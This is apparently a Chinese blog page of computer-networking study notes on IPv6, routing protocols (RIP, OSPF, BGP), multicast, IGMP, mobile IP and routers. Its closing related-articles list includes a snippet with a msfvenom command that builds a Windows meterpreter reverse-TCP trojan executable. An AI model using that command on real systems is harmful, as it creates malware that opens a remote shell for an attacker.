当前位置: 首页 > news >正文

计算机网络 笔记 网络层 3

IPv6

IPv6 是互联网协议第 6 版(Internet Protocol Version 6)的缩写,它是下一代互联网协议,旨在解决 IPv4 面临的一些问题,以下是关于 IPv6 的详细介绍:

产生背景:

随着互联网的迅速发展,IPv4 地址空间逐渐耗尽,无法满足日益增长的设备连接需求。同时,IPv4 在安全性、移动性、配置复杂性等方面也存在一些局限性,IPv6 便应运而生,以提供更多的地址空间和更好的网络性能。

主要特点:

巨大的地址空间:IPv6 采用 128 位地址长度,理论上可提供 2 的 128 次方个地址,这几乎可以为地球上的每一粒沙子都分配一个独立的 IP 地址,彻底解决了 IPv4 地址不足的问题。

简化的报头格式:IPv6 的报头格式相对 IPv4 更加简单,减少了一些不必要的字段,提高了数据包的处理效率,降低了路由器的处理负担,从而加快了数据传输速度。

40个字节的基本首部和有效载荷

增强的安全性:IPv6 集成了 IPsec(IP Security)协议,提供了端到端的安全通信机制,支持数据加密、身份认证和数据完整性校验等功能,大大增强了网络的安全性。

更好的移动性支持:IPv6 为移动设备提供了更好的支持,使得移动设备在不同的网络之间切换时能够更快速、更稳定地保持连接,确保通信的连续性。

自动配置功能:IPv6 支持自动配置功能,设备接入网络时可以自动获取 IP 地址和其他网络配置信息,无需像 IPv4 那样依赖手动配置或 DHCP 服务器,简化了网络管理和部署的难度。

地址表示

IPv6 地址通常用十六进制表示,以冒号分隔每 16 位,例如:2001:0db8:85a3:0000:0000:8a2e:0370:7334。为了简化地址表示,还可以采用一些缩写规则,如连续的 0 可以用双冒号 “::” 表示,但在一个地址中只能使用一次双冒号。

应用现状

目前,全球范围内 IPv6 的部署正在稳步推进。许多国家和地区都在积极推动 IPv6 的应用,一些大型互联网服务提供商、运营商也已经开始大规模支持 IPv6。在国内,政府和企业也高度重视 IPv6 的发展,出台了一系列政策和措施来促进 IPv6 的普及和应用,如要求各大互联网企业、运营商加快 IPv6 改造,推动物联网、工业互联网等领域应用 IPv6 等。

IPv4和IPv6的区别:

1.IPv6将地址从32位(4B)扩大到128位(16B),更大的地址空间。

2.IPv6将IPv4的校验和字段彻底移除,以减少每跳的处理时间。

3.IPv6将IPv4的可选字段移出首部,变成了扩展首部,成为灵活的首部格式,路由器通常不对扩展首部进行检查大大提高了路由器的处理效率。

4.IPv6支持即插即用(即自动配置),不需要DHCP协议。

5.IPv6首部长度必须是8B的整数倍,IPv4首部是4B的整数倍

6.IPv6只能在主机处分片,IPv4可以在路由器和主机处分片。

7.ICMPv6:附加报文类型“分组过大”

8.IPv6支持资源的预分配,支持实时视像等要求,保证一定的带宽和时延的应用

9.IPv6取消了协议字段,改成下一个首部字段。

10.IPv6取消了总长度字段,改用有效载荷长度字段。

11.IPv6取消了服务类型字段。

IPv6基本地址类型:

1,单播:1v1通信,可做源地址和目的地址

2,多播:1vn通信,只可以做目的地址

3,任播:1vn中的一个通信,只作目的地址

IPv6->IPv4的过度策略:

双栈协议:

含义:双栈协议是指在一个网络节点(如计算机、路由器等)上同时运行 IPv4 和 IPv6 两种协议栈。这样该节点既能处理 IPv4 数据包,又能处理 IPv6 数据包,从而可以在 IPv4 网络和 IPv6 网络之间进行通信和数据传输,是实现 IPv4 向 IPv6 过渡的一种重要技术手段。

工作原理:网络节点上的双栈协议允许应用程序根据目标地址的类型,选择使用 IPv4 协议栈或 IPv6 协议栈来发送和接收数据。当应用程序要发送数据时,它会检查目标地址,如果是 IPv4 地址,就通过 IPv4 协议栈进行封装和传输;如果是 IPv6 地址,则通过 IPv6 协议栈进行处理。在接收数据时,网络节点会根据数据包的报头信息来判断是 IPv4 数据包还是 IPv6 数据包,然后将其交给相应的协议栈进行处理。

应用场景:适用于网络中同时存在大量 IPv4 设备和逐渐引入 IPv6 设备的过渡阶段。例如,企业网络中既有旧的只支持 IPv4 的设备,又有新采购的支持 IPv6 的设备,采用双栈协议可以让这些设备在同一网络中相互通信,同时企业也可以逐步扩大 IPv6 的应用范围,而无需立即淘汰所有 IPv4 设备。

隧道技术:

含义:是一种通过使用互联网络的基础设施在网络之间传递数据的方式。它将其它协议的数据帧或包重新封装,然后通过隧道发送,新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。

工作原理:首先进行数据封装,将原始数据包作为负载封装进一个新的数据包头中,新包头包含目标网络所需的路由信息;然后封装后的数据包通过公网或者其他中间网络进行传输;最后当封装的数据包到达隧道终点时,进行数据解封装,取出原始数据包并转发至其最终目的地。

应用场景

协议转换:在不同网络协议之间转换数据包,使不兼容的网络之间能够相互通信,如在 IPv4 网络中传输 IPv6 数据包。

网络安全:通过加密隧道传输数据,提供额外的安全层,如 SSH 隧道、IPSec 隧道等,确保数据在公网中传输时不易被窃听或篡改,常用于构建虚拟专用网络(VPN)。

网络隔离穿透:在受到防火墙或 NAT 设备限制的网络环境下,帮助数据包穿透这些限制,如 GRE 隧道、L2TP 隧道等。

路由选择协议的分类:

1,内部网关协议:

一个AS内部使用的:RIP,OSPF

RIP(路由信息协议)(UDP):

工作原理:基于距离向量算法,路由器通过定期(30s)向邻居路由器发送自己的路由表信息来进行路由信息的交换。以跳数作为衡量路径好坏的标准,每经过一个路由器,跳数加 1,RIP 规定最大跳数为 15,16 表示不可达。

RIP报文协议:

首部4个字节,路由信息一组20个字节(一个RIP最多25个,需要多发RIP)

(路由表维护3组信息:目的网络,距离,下一跳路由器

接收到RIP报文后,处理步骤:

1,自己的路由表没有Netx,会直接填入

2,自己的路由表有Netx

如果下一跳的信息一致,仍需替换(更新为最新信息)

如果下一跳的信息不一致,仍需替换为最短的数据(更新为最新信息)

3,如果180s没有更新某个数据,就会把这个数据设定为不可达

特点:配置简单,易于理解和部署,适用于小型网络。但收敛速度较慢,当网络拓扑发生变化时,可能需要较长时间才能使所有路由器的路由表达到一致状态,而且以跳数作为唯一的度量标准不够精确,可能导致选择的路径并非最优。

OSPF(开放最短路径优先协议):

工作原理:基于链路状态算法,路由器会向本自治系统内的所有路由器发送链路状态信息(洪泛),包括与哪些路由器相连以及链路的状态(度量)等。每个路由器根据收到的链路状态信息构建一个链路状态数据库,然后使用 Dijkstra 算法计算出到其他网络的最短路径。

(当链路信息发生变化后,进行交换)

算法步骤:

1,发现自己的邻居节点,[HELLO问候分组],了解节点的网络地址

2,设置自己到每个邻居的度量metric

3,构造[DD数据库描述分组],向邻站发出自己的链路信息

4,如果DD分组的摘要自己都有,邻站就不处理,如果有(更新or没有的数据),就发送LSR链路状态请求分组,请求自己需要更新的信息

5,收到邻站的LSR后,发送[LSR链路状态更新分组]进行更新

6,更新完毕后,邻站发送回[LSAck链路状态确认分组],更新后继续洪泛发送

7,进行dji更新构建最短路

特点:收敛速度快,能够快速适应网络拓扑的变化;支持区域划分,可以将一个大型网络划分为多个区域,减少路由信息的传播范围,降低路由器的负担(每一个区域有32位的区域标识符,子区域最好不超过200个,分为主干区域,其他区域,路由器分为自治系统边缘路由器(和其他AS相连,主干路由器,区域边界路由器,区域内部路由器));以带宽等作为度量标准,能更准确地选择最优路径,适用于中大型网络。

2,外部网关协议:多个AS之间使用的:BGP

BGP(边界网关协议)(应用层)

工作原理:BGP 采用路径向量算法,路由器之间交换的是可达性信息,即到达某个网络的路径属性,包括 AS 路径下一跳等。BGP 通过建立 TCP 连接来进行路由信息的交换,在邻居路由器之间传递(开始的时候是整个路由表,之后是部分)路由更新消息,每个路由器根据收到的路由信息和本地的策略来选择最优路径。

特点:具有丰富的路由策略和属性,能够支持大规模的网络互联,在全球互联网的路由中发挥着关键作用。可以根据多种因素,如 AS 路径长度、策略偏好等进行路由选择,具有很强的灵活性和可扩展性。但配置和管理相对复杂,需要考虑各种策略和属性的设置。

BGP-4的四种报文

1,OPEN报文:用来与相邻的另一个BGP发言人建立关系,并认证发送方。

2,UPDATE报文:通告新路径或撤销原路径。

3,KEEPALIVE报文:在无UPDATE时,周期性证实邻站的连通性:也作为OPEN的确认。

4,NOTIFICATION报文:报告先前报文的差错;也被用于关闭连接。

对比

IP数据报的传播方式

单播:

原理:单播是一种点到点的通信方式,发送方将 IP 数据报发送给特定的一个接收方。在这种方式下,源主机和目的主机之间建立一条独立的通信路径,数据报沿着这条路径从源节点逐个节点地传输到目的节点。

特点:

针对性强:数据报能够精准地到达指定的目标主机,只有目标主机能够接收到数据,适用于一对一的通信场景,如用户与服务器之间的文件下载、远程登录等。

资源占用:每个单播数据报都需要占用网络中的一条独立路径和相关资源,当有大量单播数据同时传输时,可能会对网络带宽造成较大压力,尤其是在点对多点通信且数据量较大的情况下,会导致网络资源的浪费。

应用场景:广泛应用于大多数常见的网络应用中,如 Web 浏览、电子邮件传输、远程桌面连接等。用户通过浏览器访问网站时,浏览器与网站服务器之间就是通过单播方式进行数据交互的。

广播

原理:广播是一种点到所有点的通信方式,发送方将 IP 数据报发送到网络中的所有节点。当源主机发送广播数据报时,网络中的路由器会将该数据报转发到其连接的所有子网,使得网络中的每台主机都能接收到该数据报。

特点

覆盖范围广:可以让网络中的所有设备都接收到数据,适用于需要向网络中所有节点发送相同信息的场景,如网络中的设备发现、地址解析协议(ARP)请求等。

资源消耗大:由于数据报会被发送到网络中的每一个节点,会占用大量的网络带宽和主机处理资源,如果广播数据过多,可能会导致网络拥塞,影响网络性能。

应用场景:常用于局域网中的一些基础功能实现,如在一个局域网中,新加入的设备通过发送广播消息来获取网络中的可用资源信息,或者通过广播来查找特定服务的提供者。

组播:

原理:组播是一种点到多点的通信方式,发送方将 IP 数据报发送给一组特定的接收方,这些接收方构成一个组播组。源主机只需要发送一份数据,网络中的路由器会根据组播路由协议,将数据报复制并转发到组播组中的各个成员所在的网络分支,使得组内的成员都能接收到数据。

特点

高效性:相比单播,组播可以在一定程度上节省网络带宽,因为源主机只需发送一份数据,而不是为每个接收方都单独发送一份。同时,与广播相比,组播又具有一定的针对性,只有加入组播组的主机才会接收数据,减少了对其他无关主机的干扰。

灵活性:组播组成员可以动态地加入或离开组播组,根据实际需求灵活调整接收数据的节点集合。

应用场景:在视频会议、在线直播、网络电视等需要一对多通信的场景中应用广泛。例如,在线直播平台通过组播技术,可以将直播视频流发送给所有订阅该直播的用户,实现高效的视频传输。

IP组播的地址:让分组发送到一组设备上,同一个多播组共享组播地址(一个D类地址)

1,组播数据报不可靠交付,应用于UDP

2,组播数据报不产生ICMP差错报文

3,并非所有的D类地址都可以作为组播地址

硬件组播:

IGMP协议和组播路由选择协议:

IGMP 协议

定义与作用

IGMP 是互联网协议族中负责管理和控制组播组成员关系的协议。它运行在主机和与其直接相连的组播路由器之间,主要功能是让主机能够向本地的组播路由器表明自己希望加入或离开某个组播组,使组播路由器了解哪些主机属于哪些组播组,以便正确地转发组播数据。

工作原理

成员加入:当主机想要接收某个组播组的数据时,它会向本地网络发送 IGMP 成员关系报告消息,声明自己要加入该组播组。组播路由器接收到该消息后,会记录下该主机所在的网络与组播组的对应关系。

成员查询:组播路由器会定期发送 IGMP 查询消息,以了解本地网络中是否还有主机属于某个组播组。主机接收到查询消息后,如果自己属于被查询的组播组,则会发送响应消息进行回应。

成员离开:当主机不再需要接收某个组播组的数据时,它会发送 IGMP 离开组消息。组播路由器收到离开消息后,会经过一定的确认过程,确认该组在本地网络中没有其他成员后,停止向该网络转发该组播组的数据。

版本

IGMPv1:是 IGMP 的最初版本,相对简单,没有定义成员离开机制,组播路由器只能通过成员关系报告超时来判断成员是否离开。

IGMPv2:在 IGMPv1 的基础上增加了成员离开组机制,提高了组播成员管理的效率。

IGMPv3:进一步增强了 IGMP 的功能,支持主机指定要接收的特定组播源的流量,提供了更精细的组播流量控制。

组播路由选择协议

定义与作用

组播路由选择协议是用于在网络中确定组播数据传输路径的协议。其主要作用是让组播路由器根据网络拓扑结构和组播组成员的分布情况,计算出最优的组播数据转发路径,确保组播数据能够高效、准确地从源端传输到各个组播组成员。

分类

域内组播路由选择协议:用于在一个自治系统(AS)内部进行组播路由选择,常见的有 DVMRP(距离向量组播路由协议)、PIM-DM(协议无关组播 - 密集模式)、PIM-SM(协议无关组播 - 稀疏模式)等。

DVMRP:基于距离向量算法,路由器通过交换路由信息来构建组播路由表,以跳数作为度量标准,计算到组播源的最短路径。

PIM-DM:采用洪泛和剪枝的机制,在网络中泛洪组播数据,然后根据是否有组播组成员来修剪不需要的路径,适用于组播组成员相对密集的网络环境。

PIM-SM:使用共享树和源树相结合的方式,先建立一个共享的组播转发树,然后根据需要可以切换到以组播源为根的源树,适用于组播组成员分布较稀疏的网络环境。

域间组播路由选择协议:用于在不同自治系统之间进行组播路由选择,如 MBGP(多协议边界网关协议)。MBGP 在 BGP 的基础上进行扩展,能够支持组播路由信息的交换和传输,使得组播数据能够在不同 AS 之间正确路由。

移动IP:

移动IP技术是移动结点(计算机/服务器等)以固定的网络IP地址,实现跨越不同网段的漫游功能,并保证了基于网络IP的网络权限在漫游过程中不发生任何改变。

移动结点具有永久IP地址的移动设备。

归属代理(本地代理)一个移动结点的永久“居所”称为归属网络,在归属网络中代表移动节点执行移动管理功能的实体叫做归属代理。

永久地址(归属地址/主地址)移动站点在归属网络中的原始地址。

外部代理(外地代理)在外部网络中帮助移动节点完成移动管理功能的实体称为外部代理。

转交地址(辅地址)可以是外部代理的地址或动态配置的一个地址。

基本原理

家乡代理(Home Agent):移动节点在其归属网络中有一个家乡代理,家乡代理负责维护移动节点的位置信息。当移动节点离开归属网络时,家乡代理会截获发往移动节点家乡地址的数据包,并将其转发到移动节点的当前位置。

外地代理(Foreign Agent):移动节点在访问外地网络时,会与外地代理进行交互。外地代理为移动节点分配一个临时的转交地址(Care-of Address),并接收由家乡代理转发过来的数据包,然后将数据包交付给移动节点。

注册过程:移动节点到达外地网络后,会通过外地代理向家乡代理进行注册,告知家乡代理自己的转交地址。家乡代理收到注册信息后,会将发往移动节点家乡地址的数据包封装并转发到移动节点的转交地址。

网络层设备:路由器

基本功能:

网络连接与寻址:路由器能够连接多个不同的网络,如局域网(LAN)和广域网(WAN),使不同网络中的设备可以相互通信。它通过读取数据包中的目的 IP 地址,根据自身保存的路由表,为数据包选择最佳的传输路径,确保数据能够准确无误地到达目标设备。

数据转发与过滤:路由器接收来自一个网络接口的数据包后,会根据路由表和相关规则对数据包进行处理,决定是否转发以及向哪个接口转发。同时,它还可以根据预设的访问控制列表(ACL)等规则,对数据包进行过滤,阻止不符合规则的数据包通过,增强网络的安全性。

网络地址转换(NAT):路由器通常支持 NAT 功能,它可以将内部网络中的私有 IP 地址转换为合法的公网 IP 地址,使内部网络中的多个设备能够共享一个公网 IP 地址访问互联网,有效地解决了公网 IP 地址短缺的问题,同时也隐藏了内部网络的结构,提高了网络的安全性。

输入和输出端口都会有一个分组排队

这里的排队可能导致分组丢失

工作原理:

路由表建立:路由器通过多种方式建立和维护路由表。一种是静态路由,即网络管理员手动配置路由信息,明确指定到特定网络的路径。另一种是动态路由,路由器通过运行动态路由协议,如 RIP、OSPF 等,与其他路由器交换路由信息,自动学习网络拓扑结构,构建和更新路由表。

数据包转发过程:当路由器接收到一个数据包时,它首先检查数据包的目的 IP 地址。然后,在路由表中查找与该目的地址匹配的路由条目。找到匹配条目后,路由器根据条目中指定的下一跳地址和出接口信息,将数据包转发到下一个路由器或目标设备。如果在路由表中找不到匹配的条目,通常会根据默认路由进行转发或丢弃数据包,并向源设备发送一个错误消息。

硬件组成

处理器:负责执行路由器的操作系统和各种网络协议,进行数据包的处理、路由计算和设备管理等任务,其性能直接影响路由器的处理能力和数据转发速度。

内存:用于存储路由器的操作系统、配置文件、路由表以及正在处理的数据包等信息。不同类型和规模的路由器所需内存大小不同,一般来说,企业级路由器需要较大的内存来支持大量的路由条目和复杂的网络业务。

接口:是路由器与外部网络连接的通道,常见的接口类型有以太网接口、串口、光纤接口等。以太网接口用于连接局域网中的计算机、交换机等设备;串口通常用于连接广域网线路,如电话线、DDN 专线等;光纤接口则用于高速、长距离的网络连接,如数据中心之间的互联。

存储设备:用于保存路由器的操作系统镜像、配置文件等重要数据,常见的存储设备有闪存(Flash)和硬盘等。闪存具有断电不丢失数据的特点,常用于存储路由器的基本操作系统和启动配置文件;硬盘则可用于存储大量的日志文件、网络监控数据等。

三层设备的区别

相关文章:

计算机网络 笔记 网络层 3

IPv6 IPv6 是互联网协议第 6 版(Internet Protocol Version 6)的缩写,它是下一代互联网协议,旨在解决 IPv4 面临的一些问题,以下是关于 IPv6 的详细介绍: 产生背景: 随着互联网的迅速发展&…...

Web服务器启动难题:Spring Boot框架下的异常处理解析

摘要 在尝试启动Web服务器时遇到了无法启动的问题,具体错误为org.springframework.boot.web.server.WebServerException。这一异常表明Spring Boot框架在初始化Web服务器过程中出现了故障。通常此类问题源于配置文件错误、端口冲突或依赖项缺失等。排查时应首先检查…...

在LINUX上安装英伟达CUDA Toolkit

下载安装包 wget https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm 安装RPM包 sudo rpm -i cuda-repo-rhel8-12-8-local-12.8.0_570.86.10-1.x86_64.rpm sudo dnf clean all sudo dnf…...

计算机视觉和图像处理

计算机视觉与图像处理的最新进展 随着人工智能技术的飞速发展,计算机视觉和图像处理作为其中的重要分支,正逐步成为推动科技进步和产业升级的关键力量。 一、计算机视觉的最新进展 计算机视觉,作为人工智能的重要分支,主要研究如…...

Spring Boot 日志:项目的“行车记录仪”

一、什么是Spring Boot日志 (一)日志引入 在正式介绍日志之前,我们先来看看上篇文章中(Spring Boot 配置文件)中的验证码功能的一个代码片段: 这是一段校验用户输入的验证码是否正确的后端代码&#xff0c…...

ComfyUI中For Loop的使用

研究了半天,终于弄明白了如何使用For Loop。 1、在For中节点,必须有输出连接到For Loop End的initial_value点,才能确保节点执行完毕后才 进入下一轮循环,否则,可能导致节点没执行完,就进入下一个循环了。…...

网站快速收录:利用网站导航优化用户体验

本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/44.html 网站快速收录与用户体验的提升密切相关,而网站导航作为用户访问网站的“指南针”,其优化对于实现这一目标至关重要。以下是一些利用网站导航优化用户体验&am…...

FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验

文章目录 FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验概述笔记my_fltk_test.cppfltk_test.hfltk_test.cxx用adjuster工程试了一下,好使。END FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验 概述 用fluid搭建UI…...

c#aot做跨平台动态库

c#aot技术,很多人都觉得是垃圾,没有用,其实还是很有用的。.net发展这么多年,有很多很好的功能,你可以把这些功能做成动态库供rust调用,供c/c调用。你还真别看不起这些功能,当你需要,…...

使用Pygame制作“打砖块”游戏

1. 前言 打砖块(Breakout / Arkanoid) 是一款经典街机游戏,玩家控制一个可左右移动的挡板,接住并反弹球,击碎屏幕上方的砖块。随着砖块被击碎,不仅能获得分数,还可以体验到不断加速或复杂的反弹…...

Autosar-以太网是怎么运行的?(原理部分)

写在前面: 入行一段时间了,基于个人理解整理一些东西,如有错误,欢迎各位大佬评论区指正!!! 1.TCP/IP协议详解 TCP/IP协议包含了一系列的协议,也叫TCP/IP协议族(TCP/IP P…...

小程序-基础加强-自定义组件

前言 这次讲自定义组件 1. 准备今天要用到的项目 2. 初步创建并使用自定义组件 这样就成功在home中引入了test组件 在json中引用了这个组件才能用这个组件 现在我们来实现全局引用组件 在app.json这样使用就可以了 3. 自定义组件的样式 发现页面里面的文本和组件里面的文…...

线程池以及在QT中的接口使用

文章目录 前言线程池架构组成**一、任务队列(Task Queue)****二、工作线程组(Worker Threads)****三、管理者线程(Manager Thread)** 系统协作流程图解 一、QRunnable二、QThreadPool三、线程池的应用场景W…...

Cubemx文件系统挂载多设备

cubumx版本:6.13.0 芯片:STM32F407VET6 在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置,由于SD卡使用的是SDIO通讯,因此具体驱动不需要自己实现,Cubemx中就可以直接配置然后生成SDIO的驱动,并将SD卡驱动和…...

NeetCode刷题第19天(2025.1.31)

文章目录 099 Maximum Product Subarray 最大乘积子数组100 Word Break 断字101 Longest Increasing Subsequence 最长递增的子序列102 Maximum Product Subarray 最大乘积子数组103 Partition Equal Subset Sum 分区等于子集和104 Unique Paths 唯一路径105 Longest Common Su…...

网站快速收录:如何设置robots.txt文件?

本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/34.html 为了网站快速收录而合理设置robots.txt文件,需要遵循一定的规则和最佳实践。robots.txt文件是一个纯文本文件,它告诉搜索引擎爬虫哪些页面可以访问&#xff…...

(超实用教程)利用MSF制作exe程序木马

msfvenom 是攻击载荷(payload)生成器 格式: msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p:指定需要使用的payload -f:指定输出格式 -o:保…...

Spring Boot + Facade Pattern : 通过统一接口简化多模块业务

文章目录 Pre概述在编程中,外观模式是如何工作的?外观设计模式 UML 类图外观类和子系统的关系优点案例外观模式在复杂业务中的应用实战运用1. 项目搭建与基础配置2. 构建子系统组件航班服务酒店服务旅游套餐服务 3. 创建外观类4. 在 Controller 中使用外…...

4 [危机13小时追踪一场GitHub投毒事件]

事件概要 自北京时间 2024.12.4 晚间6点起, GitHub 上不断出现“幽灵仓库”,仓库中没有任何代码,只有诱导性的病毒文件。当天,他们成为了 GitHub 上 star 增速最快的仓库。超过 180 个虚假僵尸账户正在传播病毒,等待不…...

Java基础——分层解耦——IOC和DI入门

目录 三层架构 Controller Service Dao ​编辑 调用过程 面向接口编程 分层解耦 耦合 内聚 软件设计原则 控制反转 依赖注入 Bean对象 如何将类产生的对象交给IOC容器管理? 容器怎样才能提供依赖的bean对象呢? 三层架构 Controller 控制…...

10 Flink CDC

10 Flink CDC 1. CDC是什么2. CDC 的种类3. 传统CDC与Flink CDC对比4. Flink-CDC 案例5. Flink SQL 方式的案例 1. CDC是什么 CDC 是 Change Data Capture(变更数据获取)的简称。核心思想是,监测并捕获数据库的变动(包括数据或数…...

F. Greetings

题目链接&#xff1a;Problem - F - Codeforces 题目大意&#xff1a;给你n个线段&#xff0c; 求有多少对&#xff08;两个&#xff09;线段满足完全覆盖&#xff0c; 例如&#xff1a; 设一个线段有a,b两点&#xff0c; 满足 ai < aj < bj < bi (i,j为每个线段的下…...

深度学习练手小例子——cifar10数据集分类问题

CIFAR-10 是一个经典的计算机视觉数据集&#xff0c;广泛用于图像分类任务。它包含 10 个类别的 60,000 张彩色图像&#xff0c;每张图像的大小是 32x32 像素。数据集被分为 50,000 张训练图像和 10,000 张测试图像。每个类别包含 6,000 张图像&#xff0c;具体类别包括&#x…...

Sqoop源码修改:增加落地HDFS文件数与MapTask数量一致性检查

个人博客地址&#xff1a;Sqoop源码修改&#xff1a;增加落地HDFS文件数与MapTask数量一致性检查 | 一张假钞的真实世界 本篇是对记录一次Sqoop从MySQL导入数据到Hive问题的排查经过的补充。 Sqoop 命令通过 bin 下面的脚本调用&#xff0c;调用如下&#xff1a; exec ${HAD…...

FastAPI + GraphQL + SQLAlchemy 实现博客系统

本文将详细介绍如何使用 FastAPI、GraphQL&#xff08;Strawberry&#xff09;和 SQLAlchemy 实现一个带有认证功能的博客系统。 技术栈 FastAPI&#xff1a;高性能的 Python Web 框架Strawberry&#xff1a;Python GraphQL 库SQLAlchemy&#xff1a;Python ORM 框架JWT&…...

AI编程:如何编写提示词

这是小卷对AI编程工具学习的第2篇文章&#xff0c;今天讲讲如何编写AI编程的提示词&#xff0c;并结合实际功能需求案例来进行开发 1.编写提示词的技巧 好的提示词应该是&#xff1a;目标清晰明确&#xff0c;具有针对性&#xff0c;能引导模型理解问题 下面是两条提示词的对…...

【LLM-agent】(task5)构建哲学家多智能体

note 通过编排动作设置哲学家智能体的"示例任务"&#xff0c;目的是让 Agent 更好地理解如何回答问题。主要包括设置示例问题、定义思考过程、应用到所有哲学家。建立了一个"先思考&#xff0c;后总结"的回答模式&#xff0c;这种方式相当于给AI提供了一个…...

31. 下一个排列

参考题解&#xff1a;https://leetcode.cn/problems/next-permutation/solutions/80560/xia-yi-ge-pai-lie-suan-fa-xiang-jie-si-lu-tui-dao- 找到下一个排列&#xff0c;即找到下一个大于当前数的更大的数。 当没有比当前更大的数的时候&#xff0c;那么就返回最小的数&…...

牛客周赛 Round 78

题目目录 A-时间表查询&#xff01;解题思路参考代码 B-一起做很甜的梦&#xff01;解题思路参考代码 C-翻之解题思路参考代码 D-乘之解题思路参考代码 E-在树上游玩解题思路参考代码 A-时间表查询&#xff01; \hspace{15pt} 今天是2025年1月25日&#xff0c;今年的六场牛客寒…...

100.1 AI量化面试题:解释夏普比率(Sharpe Ratio)的计算方法及其在投资组合管理中的应用,并说明其局限性

目录 0. 承前1. 夏普比率的基本概念1.1 定义与计算方法1.2 实际计算示例 2. 在投资组合管理中的应用2.1 投资组合选择2.2 投资组合优化 3. 夏普比率的局限性3.1 统计假设的限制3.2 实践中的问题 4. 改进方案4.1 替代指标4.2 实践建议 5. 回答话术 0. 承前 如果想更加全面清晰地…...

jEasyUI 转换 HTML 表格为数据网格

jEasyUI 转换 HTML 表格为数据网格 引言 随着互联网技术的飞速发展,前端框架和库的应用越来越广泛。jEasyUI 是一款功能强大的 jQuery UI 扩展库,它提供了丰富的 UI 组件,其中数据网格(DataGrid)是 jEasyUI 中一个非常重要的组件。本文将详细介绍如何使用 jEasyUI 将一个…...

好用的翻译工具

最近看到个好用的翻译工具&#xff0c;叫沉浸式翻译 沉浸式翻译 - 双语对照网页翻译插件 | PDF翻译 | 视频字幕翻译 我下载的是谷歌插件 点击下载插件会跳转到使用文档&#xff0c;跟着一步步操作即可 翻译的效果&#xff0c;我这里用的是免费版的&#xff0c;如果需要加强&…...

Selenium 使用指南:从入门到精通

Selenium 使用指南&#xff1a;从入门到精通 Selenium 是一个用于自动化 Web 浏览器操作的强大工具&#xff0c;广泛应用于自动化测试和 Web 数据爬取中。本文将带你从入门到精通地掌握 Selenium&#xff0c;涵盖其基本操作、常用用法以及一个完整的图片爬取示例。 1. 环境配…...

字节iOS面试经验分享:HTTP与网络编程

字节iOS面试经验分享&#xff1a;HTTP与网络编程 &#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 目录 字节iOS面试经验分享&#xff1a;HTT…...

10.7 LangChain Models深度解析:解锁大模型集成与调优的全景攻略

LangChain Models深度解析:解锁大模型集成与调优的全景攻略 关键词: LangChain Models模块、大模型集成、LLM调用优化、多模型管理、本地模型部署 一、Models模块的定位:大模型应用的“中央调度器” 传统开发的痛点: 碎片化集成:每个模型需单独编写适配代码性能黑洞:缺…...

本地部署 DeepSeek-R1:简单易上手,AI 随时可用!

&#x1f3af; 先看看本地部署的运行效果 为了测试本地部署的 DeepSeek-R1 是否真的够强&#xff0c;我们随便问了一道经典的“鸡兔同笼”问题&#xff0c;考察它的推理能力。 &#x1f4cc; 问题示例&#xff1a; 笼子里有鸡和兔&#xff0c;总共有 35 只头&#xff0c;94 只…...

cf集合***

当周cf集合&#xff0c;我也不知道是不是当周的了&#xff0c;麻了&#xff0c;下下周争取写到e补f C. Kevin and Puzzle&#xff08;999&#xff09; 题解&#xff1a;一眼动态规划&#xff0c;但是具体这个状态应该如何传递呢&#xff1f; 关键点&#xff1a;撒谎的人不相…...

【机器学习理论】生成模型和判别模型

生成模型和判别模型是机器学习中两种不同的建模方式。生成模型关注的是联合概率分布 P ( X , Y ) P(X, Y) P(X,Y)&#xff0c;即同时考虑数据 X X X和标签 Y Y Y的关系&#xff1b;判别模型则直接学习条件概率 P ( Y ∣ X ) P(Y|X) P(Y∣X)或决策边界。 生成模型 生成模型的目…...

图漾相机——C++语言属性设置

文章目录 前言1.SDK API功能介绍1.1 Device组件下的API测试1.1.1 相机工作模式设置&#xff08;TY_TRIGGER_PARAM_EX&#xff09;1.1.2 TY_INT_FRAME_PER_TRIGGER1.1.3 TY_INT_PACKET_DELAY1.1.4 TY_INT_PACKET_SIZE1.1.5 TY_BOOL_GVSP_RESEND1.1.6 TY_BOOL_TRIGGER_OUT_IO1.1.…...

如何在Windows、Linux和macOS上安装Rust并完成Hello World

如何在Windows、Linux和macOS上安装Rust并完成Hello World 如果你刚刚开始学习Rust&#xff0c;第一步就是安装Rust并运行你的第一个程序&#xff01;本文将详细介绍如何在Windows、Linux和macOS上安装Rust&#xff0c;并编写一个简单的“Hello, World!”程序。 1. 安装Rust …...

基于VMware的ubuntu与vscode建立ssh连接

1.首先安装openssh服务 sudo apt update sudo apt install openssh-server -y 2.启动并检查ssh服务状态 到这里可以按q退出 之后输入命令 &#xff1a; ip a 红色挡住的部分就是我们要的地址&#xff0c;这里就不展示了哈 3.配置vscode 打开vscode 搜索并安装&#xff1a;…...

Redis 集合(Set)

Redis 集合(Set) 引言 Redis 是一款高性能的键值存储数据库,其支持多种数据结构,其中包括集合(Set)。集合是一个无序的、元素唯一的集合数据结构,它非常适合存储需要去重和高效检索的数据。本文将详细介绍 Redis 集合的数据结构、操作方法以及应用场景。 Redis 集合数…...

(笔记+作业)书生大模型实战营春节卷王班---L0G2000 Python 基础知识

学员闯关手册&#xff1a;https://aicarrier.feishu.cn/wiki/QtJnweAW1iFl8LkoMKGcsUS9nld 课程视频&#xff1a;https://www.bilibili.com/video/BV13U1VYmEUr/ 课程文档&#xff1a;https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/Python 关卡作业&#xff1a;htt…...

stm32硬件实现与w25qxx通信

